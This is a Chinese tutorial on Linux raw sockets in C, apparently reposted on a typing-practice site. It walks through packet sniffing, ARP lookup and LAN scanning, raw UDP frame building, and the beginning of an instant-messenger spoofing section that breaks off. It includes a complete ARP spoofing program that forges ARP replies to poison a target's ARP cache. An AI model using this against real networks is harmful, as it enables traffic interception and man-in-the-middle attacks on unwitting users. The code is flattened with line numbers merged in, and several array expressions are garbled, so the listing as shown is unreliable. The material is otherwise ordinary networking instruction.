首页 练字文章 15_原始套接字

15_原始套接字

2024-05-14 09:35  浏览数:200  来源:拼搏百天我要上蓝翔    

知识点1【使用原始套接字】1、创建原始套接字1 int socket(PF_PACKET, SOCK_RAW,
protocol)功能:创建链路层的原始套接字参数:protocol:指定可以接收或发送的数据包类型ETH_
P_IP:IPV4数据包ETH_P_ARP:ARP数据包ETH_P_ALL:任何协议类型的数据包返回值:成功(
>0):链路层套接字失败(<0):出错2、协议格式1、UDP数据格式2、TCP报文3、IP报文4、mac报文5
、ICMP报文知识点2【使用原始套接字捕获网络数据】原始套接字数据 使用recvfrom函数接收:1 #inc
lude <stdio.h>2 #include <sys/types.h>3 #include <sys/s
ocket.h>4 #include <netinet/ether.h>5 #include <arpa/in
et.h>6 #include <unistd.h>7 int main(int argc, char con
st *argv[])8 {9 //创建一个原始套接字10 int sockfd = socket(PF_PA
CKET, SOCK_RAW, htons(ETH_P_ALL));11 if (sockfd < 0)12
{13 perror("socket");14 return 0;15 }1617 printf("sockf
d = %d\n", sockfd);1819 //recvfrom接收数据20 while (1)21 {2
2 //recvfrom收到是一个完整的帧数据23 unsigned char buf[1500] = "";
24 int len = recvfrom(sockfd, buf, sizeof(buf), 0, NULL
, NULL);2526 //分析mac报文头27 char dst_mac[18] = "";28 char
src_mac[18] = "";29 sprintf(dst_mac, "%02x:%02x:%02x:%
02x:%02x:%02x",30 buf[0], buf[1], buf[2], buf[3], buf[4
], buf[5]);31 sprintf(src_mac, "%02x:%02x:%02x:%02x:%02
x:%02x",32 buf[0 + 6], buf[1 + 6], buf[2 + 6], buf[3 +
6], buf[4 + 6]uf[5 + 6]);33 unsigned short mac_type = n
tohs(*(unsigned short *)(buf + 12));34 printf("%s‐‐‐>%s
", src_mac, dst_mac);35 if (mac_type == 0x0800)36 {37
printf("上层为IP报文\n");38 //分析IP报文39 unsigned char *ip = b
uf + 14;40 char src_ip[16] = "";41 char dst_ip[16] = ""
;42 //sprintf(src_ip, "%d.%d.%d.%d", ip[12], ip[13], ip
[14], ip[15]);43 //sprintf(dst_ip, "%d.%d.%d.%d", ip[16
], ip[17], ip[18], ip[19]);44 inet_ntop(AF_INET, ip + 1
2, src_ip, 16);45 inet_ntop(AF_INET, ip + 16, dst_ip, 1
6);46 unsigned char ip_type = ip[9];47 printf("\t%s‐‐‐‐
>%s ", src_ip, dst_ip);48 if (ip_type == 1)49 {50 print
f("上层协议为ICMP\n");51 }52 else if (ip_type == 2)53 {54 pr
intf("上层协议为IGMP\n");55 }56 else if (ip_type == 6)57 {58
printf("上层协议为TCP\n");59 //IP报文的首部长度60 int ip_head_len
= (ip[0] & 0x0f) * 4;61 unsigned char *tcp = buf + 14 +
ip_head_len;6263 unsigned short src_port = ntohs(*(uns
igned short *)tcp);64 unsigned short dst_port = ntohs(*
(unsigned short *)(tcp + 2));65 printf("\t\t%hu‐‐‐‐>%hu
", src_port, dst_port);66 int tcp_head_len = (((tcp[12
] & 0xf0) >> 4) & 0x0f) * 4;67 //printf("%s\n", tcp + t
cp_head_len);68 }69 else if (ip_type == 17)70 {71 print
f("上层协议为UDP\n");72 //IP报文的首部长度73 int ip_head_len = (ip[
0] & 0x0f) * 4;74 unsigned char *udp = buf + 14 + ip_he
ad_len;7576 unsigned short src_port = ntohs(*(unsigned
short *)udp);77 unsigned short dst_port = ntohs(*(unsig
ned short *)(udp + 2));78 printf("\t\t%hu‐‐‐‐>%hu ", sr
c_port, dst_port);7980 printf("%s\n", udp + 8);81 getch
ar();82 }83 }84 else if (mac_type == 0x0806)85 {86 prin
tf("上层为arp报文\n");87 }88 else if (mac_type == 0x8035)89
{90 printf("上层为rarp报文\n");91 }92 }9394 close(sockfd);95
return 0;96 }知识点3【使用原始套接字发送网络数据】sendto发送原始套接字使用sendto发
送完整的帧数据1 struct sockaddr_ll sll;2 给sll赋值3 sendto(sock_r
aw_fd, msg, msg_len, 0,(struct sockaddr*)&sll, sizeof(s
ll));msg是完整的帧数据msg_len帧的实际长度sll:本地主机上的帧数据 出去的网卡地址1 stru
ct sockaddr_ll sll;2 #include <netpacket/packet.h>3 str
uct sockaddr_ll只需要对sll.sll_ifindex赋值,就可使用获取本地机的接口数据1 st
ruct ifreq:#include <net/if.h>2 IFNAMSIZ 161 #include <
sys/ioctl.h>2 int ioctl(int fd, int request,void *)arp报
文分析请求方使用广播来发送请求应答方使用单播来回送数据案例1:获取某个IP的mac1 #include <st
dio.h>2 #include <sys/types.h>3 #include <sys/socket.h>
4 #include <netinet/ether.h>5 #include <arpa/inet.h>6 #
include <unistd.h>7 #include <net/if.h>8 #include <stri
ng.h>9 #include <sys/ioctl.h>10 #include <netpacket/pac
ket.h>11 int Sendto(int sockfd, unsigned char *msg, int
len, char *if_name)12 {13 struct ifreq ethreq;14 strnc
py(ethreq.ifr_name, if_name, IFNAMSIZ);15 if (‐1 == ioc
tl(sockfd, SIOCGIFINDEX, &ethreq))16 {17 perror("sockfd
");18 close(sockfd);19 _exit(‐1);20 }2122 struct sockad
dr_ll sll;23 //bzero(&sll,sizeof(sll));24 memset(&sll,
0, sizeof(sll));25 sll.sll_ifindex = ethreq.ifr_ifindex
;2627 int ret = sendto(sockfd, msg, len, 0, (struct soc
kaddr *)&sll, sizeof(sll));2829 return ret;30 }31 int m
ain(int argc, char const *argv[])32 {33 //创建一个原始套接字34 i
nt sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL
));35 if (sockfd < 0)36 {37 perror("socket");38 return
0;39 }4041 printf("sockfd = %d\n", sockfd);4243 //构建ARP
请求报文44 unsigned char buf[512] = {45 //‐‐‐‐‐‐‐‐‐‐‐‐‐‐mac
头‐‐‐‐14‐‐‐‐‐‐‐‐‐‐‐46 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
, /*目的mac地址*/47 0x00, 0x0c, 0x29, 0xa2, 0x31, 0xa6, /*源
mac地址 ubuntu的mac*/48 0x08, 0x06, /*协议协议类型为arp*/49 /*‐‐‐
‐‐‐‐‐‐‐‐‐‐‐‐arp头‐‐‐‐28‐‐‐‐‐‐‐‐‐‐‐‐‐‐*/50 0x00, 0x01, /*
硬件类型*/51 0x08, 0x00, /*协议类型*/52 6, /*硬件地址长度*/53 4, /*协议
地址长度*/54 0x00, 0x01, /*arp请求报文*/55 0x00, 0x0c, 0x29, 0x
a2, 0x31, 0xa6, /*源mac地址 ubuntu的mac*/56 10, 9, 11, 45,
/*源IP ubuntu的IP*/57 0, 0, 0, 0, 0, 0, /*目的mac地址 */58 10
, 9, 11, 250 /*目的IP*/59 };6061 //sendto发数据62 int ret =
Sendto(sockfd, buf, 14 + 28, "ens33");63 printf("ret =
%d\n", ret);6465 //recvfrom获取应答66 while (1)67 {68 unsig
ned char msg[1500] = "";69 recvfrom(sockfd, msg, sizeof
(msg), 0, NULL, NULL);70 unsigned short mac_type = ntoh
s(*(unsigned short *)(msg + 12));7172 if (mac_type == 0
x0806) //arp报文73 {74 //arp应答75 unsigned short op = ntoh
s(*(unsigned short *)(msg + 20));76 if (op == 2)77 {78
char src_mac[18] = "";79 sprintf(src_mac, "%02x:%02x:%0
2x:%02x:%02x:%02x",80 msg[0 + 6], msg[1 + 6], msg[2 + 6
], msg[3 + 6], msgsg[5 + 6]);81 char src_ip[16] = "";82
inet_ntop(AF_INET, msg + 28, src_ip, 16);83 printf("%s
‐‐‐‐‐>%s\n", src_ip, src_mac);84 break;85 }86 }87 }88 c
lose(sockfd);89 return 0;90 }案例2:扫描局域网的所有mac1 #include
<stdio.h>2 #include <sys/types.h>3 #include <sys/socket
.h>4 #include <netinet/ether.h>5 #include <arpa/inet.h>
6 #include <unistd.h>7 #include <net/if.h>8 #include <s
tring.h>9 #include <sys/ioctl.h>10 #include <netpacket/
packet.h>11 #include <pthread.h>12 int Sendto(int sockf
d, unsigned char *msg, int len, char *if_name)13 {14 st
ruct ifreq ethreq;15 strncpy(ethreq.ifr_name, if_name,
IFNAMSIZ);16 if (‐1 == ioctl(sockfd, SIOCGIFINDEX, &eth
req))17 {18 perror("sockfd");19 close(sockfd);20 _exit(
‐1);21 }2223 struct sockaddr_ll sll;24 //bzero(&sll,siz
eof(sll));25 memset(&sll, 0, sizeof(sll));26 sll.sll_if
index = ethreq.ifr_ifindex;2728 int ret = sendto(sockfd
, msg, len, 0, (struct sockaddr *)&sll, sizeof(sll));29
30 return ret;31 }32 void *recv_raw_msg(void *arg)33 {3
4 int sockfd = *(int *)arg;35 //recvfrom获取应答36 while (1
)37 {38 unsigned char msg[1500] = "";39 recvfrom(sockfd
, msg, sizeof(msg), 0, NULL, NULL);40 unsigned short ma
c_type = ntohs(*(unsigned short *)(msg + 12));4142 if (
mac_type == 0x0806) //arp报文43 {44 //arp应答45 unsigned sh
ort op = ntohs(*(unsigned short *)(msg + 20));46 if (op
== 2)47 {48 char src_mac[18] = "";49 sprintf(src_mac,
"%02x:%02x:%02x:%02x:%02x:%02x",50 msg[0 + 6], msg[1 +
6], msg[2 + 6], msg[3 + 6], msgsg[5 + 6]);51 char src_i
p[16] = "";52 inet_ntop(AF_INET, msg + 28, src_ip, 16);
53 printf("%s‐‐‐‐‐>%s\n", src_ip, src_mac);54 }55 }56 }
57 }58 int main(int argc, char const *argv[])59 {60 //创
建一个原始套接字61 int sockfd = socket(PF_PACKET, SOCK_RAW, hto
ns(ETH_P_ALL));62 if (sockfd < 0)63 {64 perror("socket"
);65 return 0;66 }6768 printf("sockfd = %d\n", sockfd);
6970 //创建一个线程用于接受arp应答71 pthread_t tid;72 pthread_creat
e(&tid, NULL, recv_raw_msg, (void *)&sockfd);73 pthread
_detach(tid);7475 int i = 0;76 for (i = 1; i < 255; i++
)77 {78 //构建ARP请求报文79 unsigned char buf[512] = {80 //‐‐
‐‐‐‐‐‐‐‐‐‐‐‐mac头‐‐‐‐14‐‐‐‐‐‐‐‐‐‐‐81 0xff, 0xff, 0xff, 0
xff, 0xff, 0xff, /*目的mac地址*/82 0x00, 0x0c, 0x29, 0xa2,
0x31, 0xa6, /*源mac地址 ubuntu的mac*/83 0x08, 0x06, /*协议协议类
型为arp*/84 /*‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐arp头‐‐‐‐28‐‐‐‐‐‐‐‐‐‐‐‐‐‐*/85
0x00, 0x01, /*硬件类型*/86 0x08, 0x00, /*协议类型*/87 6, /*硬件地
址长度*/88 4, /*协议地址长度*/89 0x00, 0x01, /*arp请求报文*/90 0x00,
0x0c, 0x29, 0xa2, 0x31, 0xa6, /*源mac地址 ubuntu的mac*/91
10, 9, 11, 45, /*源IP ubuntu的IP*/92 0, 0, 0, 0, 0, 0, /*
目的mac地址 */93 10, 9, 11, i /*目的IP*/94 };9596 //sendto发数据
97 int ret = Sendto(sockfd, buf, 14 + 28, "ens33");98 }
99100 sleep(5);101 pthread_cancel(tid);102 close(sockfd
);103 return 0;104 }105案例3:arp欺骗我们收到arp应答 一般不判断 是否发出了ar
p请求。1 #include <stdio.h>2 #include <sys/types.h>3 #incl
ude <sys/socket.h>4 #include <netinet/ether.h>5 #includ
e <arpa/inet.h>6 #include <unistd.h>7 #include <net/if.
h>8 #include <string.h>9 #include <sys/ioctl.h>10 #incl
ude <netpacket/packet.h>11 #include <net/ethernet.h>12
typedef struct13 {14 unsigned short int ar_hrd; /* Form
at of hardware address. */15 unsigned short int ar_pro;
/* Format of protocol address. */16 unsigned char ar_h
ln; /* Length of hardware address. */17 unsigned char a
r_pln; /* Length of protocol address. */18 unsigned sho
rt int ar_op; /* ARP opcode (command). */19 #if 120 /*
Ethernet looks like this : This bit is variable sized21
however... */22 unsigned char __ar_sha[ETH_ALEN]; /* S
ender hardware address. */23 unsigned char __ar_sip[4];
/* Sender IP address. */24 unsigned char __ar_tha[ETH_
ALEN]; /* Target hardware address. */25 unsigned char _
_ar_tip[4]; /* Target IP address. */26 #endif27 } ARPHD
R;28 int Sendto(int sockfd, unsigned char *msg, int len
, char *if_name)29 {30 struct ifreq ethreq;31 strncpy(e
threq.ifr_name, if_name, IFNAMSIZ);32 if (‐1 == ioctl(s
ockfd, SIOCGIFINDEX, &ethreq))33 {34 perror("sockfd");3
5 close(sockfd);36 _exit(‐1);37 }3839 struct sockaddr_l
l sll;40 //bzero(&sll,sizeof(sll));41 memset(&sll, 0, s
izeof(sll));42 sll.sll_ifindex = ethreq.ifr_ifindex;434
4 int ret = sendto(sockfd, msg, len, 0, (struct sockadd
r *)&sll, sizeof(sll));4546 return ret;47 }48 int main(
int argc, char const *argv[])49 {50 //创建一个原始套接字51 int s
ockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));5
2 if (sockfd < 0)53 {54 perror("socket");55 return 0;56
}5758 printf("sockfd = %d\n", sockfd);5960 //构建ARP请求报文
61 unsigned char buf[512] = "";6263 unsigned char src_m
ac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee};64 unsigned
char dst_mac[] = {0x3c, 0x7c, 0x3f, 0x5f, 0x60, 0x7c};
65 unsigned char src_ip[] = {10, 9, 11, 5};66 unsigned
char dst_ip[] = {10, 9, 11, 251};67 //构建mac头部68 struct
ether_header *eth_hdr = (struct ether_header *)buf;69 m
emcpy(eth_hdr‐>ether_dhost, dst_mac, 6);70 memcpy(eth_h
dr‐>ether_shost, src_mac, 6);71 eth_hdr‐>ether_type = h
tons(0x0806);7273 //构建arp应答报文74 ARPHDR *arp_hdr = (ARPH
DR *)(buf + 14);75 arp_hdr‐>ar_hrd = htons(1);76 arp_hd
r‐>ar_pro = htons(0x0800);77 arp_hdr‐>ar_hln = 6;78 arp
_hdr‐>ar_pln = 4;79 arp_hdr‐>ar_op = htons(2);80 memcpy
(arp_hdr‐>__ar_sha, src_mac, 6);81 memcpy(arp_hdr‐>__ar
_sip, src_ip, 4); //10,9,11,5 需要修改对应mac的IP82 memcpy(arp
_hdr‐>__ar_tha, dst_mac, 6);83 memcpy(arp_hdr‐>__ar_tip
, dst_ip, 4); //谁的arp表的IP8485 int i = 0;86 for (i = 0;
i < 10; i++)87 {88 //sendto发数据89 int ret = Sendto(sockf
d, buf, 14 + 28, "ens33");90 sleep(1);91 }9293 close(so
ckfd);94 return 0;95 }96知识点4【原始套接字发送UDP报文】udp校验需要伪头部:1
#include <stdio.h>2 #include <sys/types.h>3 #include <s
ys/socket.h>4 #include <netinet/ether.h>5 #include <arp
a/inet.h>6 #include <unistd.h>7 #include <net/if.h>8 #i
nclude <string.h>9 #include <sys/ioctl.h>10 #include <n
etpacket/packet.h>11 #include <net/ethernet.h>12 #inclu
de <netinet/ip.h>13 #include <netinet/udp.h>14 typedef
unsigned int u_int32_t;15 typedef unsigned char u_int8_
t;16 typedef unsigned short u_int16_t;17 //伪头部结构体18 typ
edef struct19 {20 u_int32_t saddr;21 u_int32_t daddr;22
u_int8_t flag;23 u_int8_t pro;24 u_int16_t len;25 } WE
I;26 unsigned short checksum(unsigned short *buf, int l
en)27 {28 int nword = len / 2;29 unsigned long sum;3031
if (len % 2 == 1)32 nword++;33 for (sum = 0; nword > 0
; nword‐‐)34 {35 sum += *buf;36 buf++;37 }38 sum = (sum
>> 16) + (sum & 0xffff);39 sum += (sum >> 16);40 retur
n ~sum;41 }4243 int Sendto(int sockfd, unsigned char *m
sg, int len, char *if_name)44 {45 struct ifreq ethreq;4
6 strncpy(ethreq.ifr_name, if_name, IFNAMSIZ);47 if (‐1
== ioctl(sockfd, SIOCGIFINDEX, &ethreq))48 {49 perror(
"sockfd");50 close(sockfd);51 _exit(‐1);52 }5354 struct
sockaddr_ll sll;55 //bzero(&sll,sizeof(sll));56 memset
(&sll, 0, sizeof(sll));57 sll.sll_ifindex = ethreq.ifr_
ifindex;5859 int ret = sendto(sockfd, msg, len, 0, (str
uct sockaddr *)&sll, sizeof(sll));6061 return ret;62 }6
3 int main(int argc, char const *argv[])64 {65 //创建一个原始
套接字66 int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ET
H_P_ALL));67 if (sockfd < 0)68 {69 perror("socket");70
return 0;71 }7273 printf("sockfd = %d\n", sockfd);7475
//获取要发送的数据76 printf("请输入你要发送的数据:");77 char data[128] =
"";78 scanf("%s", data);79 //udp的数据长度必须是偶数80 int data_l
en = strlen(data) + strlen(data) % 2;8182 //构建报文83 unsi
gned char buf[1500] = "";8485 unsigned char src_mac[] =
{0x00, 0x0c, 0x29, 0xa2, 0x31, 0xa6};86 unsigned char
dst_mac[] = {0x3c, 0x7c, 0x3f, 0x5f, 0x60, 0x7c};87 uns
igned char src_ip[] = {10, 9, 11, 45};88 unsigned char
dst_ip[] = {10, 9, 11, 251};8990 //构建mac头部91 struct eth
er_header *eth_hdr = (struct ether_header *)buf;92 memc
py(eth_hdr‐>ether_dhost, dst_mac, 6);93 memcpy(eth_hdr‐
>ether_shost, src_mac, 6);94 eth_hdr‐>ether_type = hton
s(0x0800); //上一层为IP报文9596 //构建ip报文97 struct iphdr *ip_h
dr = (struct iphdr *)(buf + 14);98 ip_hdr‐>version = 4;
//IPv4版本99 ip_hdr‐>ihl = 5; //首部长度20B100 ip_hdr‐>tos =
0; //服务类型101 ip_hdr‐>tot_len = htons(20 + 8 + data_len
); //ip的总长度102 ip_hdr‐>id = htons(0); //标识103 ip_hdr‐>f
rag_off = htons(0); //片偏移104 ip_hdr‐>ttl = 128; //生存时间1
05 ip_hdr‐>protocol = 17; //上层协议为udp106 ip_hdr‐>check =
htons(0); //IP首部校验???????107 ip_hdr‐>saddr = inet_addr
("10.9.11.45"); //源IP108 ip_hdr‐>daddr = inet_addr("10.
9.11.251"); //目的IP109110 //开始校验IP的首部111 ip_hdr‐>check =
checksum((unsigned short *)ip_hdr, 20);112113 //构建udp报
文114 struct udphdr *udp_hdr = (struct udphdr *)(buf + 1
4 + 20);115 udp_hdr‐>source = htons(8000); //源端口116 udp
_hdr‐>dest = htons(8000); //目的端口117 udp_hdr‐>len = hton
s(8 + data_len); //udp的总长度118 udp_hdr‐>check = htons(0)
; //udp校验?????????119 //将data数据拷贝到udp的数据部分120 memcpy(bu
f + 14 + 20 + 8, data, data_len);121122 //设计伪头部123 unsi
gned char wei_buf[512] = "";124 WEI *wei = (WEI *)wei_b
uf;125 wei‐>saddr = inet_addr("10.9.11.45");126 wei‐>da
ddr = inet_addr("10.9.11.251");127 wei‐>flag = 0;128 we
i‐>pro = 17;129 wei‐>len = htons(8 + data_len);130 //在伪
头部后面追加udp首部和udp数据部分131 memcpy(wei_buf + 12, buf + 14 +
20, 8 + data_len);132 udp_hdr‐>check = checksum((unsign
ed short *)wei_buf, 12 + 8 + data_len);133134 Sendto(so
ckfd, buf, 14 + 20 + 8 + data_len, "ens33");135136 clos
e(sockfd);137 return 0;138 }知识点5【飞秋欺骗】获取王林昌的飞秋信息:IPMSG1
版本:包编号:用户名:主机名:命令字:附加消息1 1_lbt6_0#128#94085393DBE7#0#0
#0#4000#9:1632732893:WLC:DESKTOP‐6NGTF0N:32:聊天的信息命令字为32
表示正文消息1 #include <stdio.h>2 #include <sys/types.h>3 #in
clude <sys/socket.h>4 #include <netinet/ether.h>5 #incl
ude <arpa/inet.h>6 #include <unistd.h>7 #include



声明:以上文章均为用户自行添加,仅供打字交流使用,不代表本站观点,本站不承担任何法律责任,特此声明!如果有侵犯到您的权利,请及时联系我们删除。

字符:    改为:
去打字就可以设置个性皮肤啦!(O ^ ~ ^ O)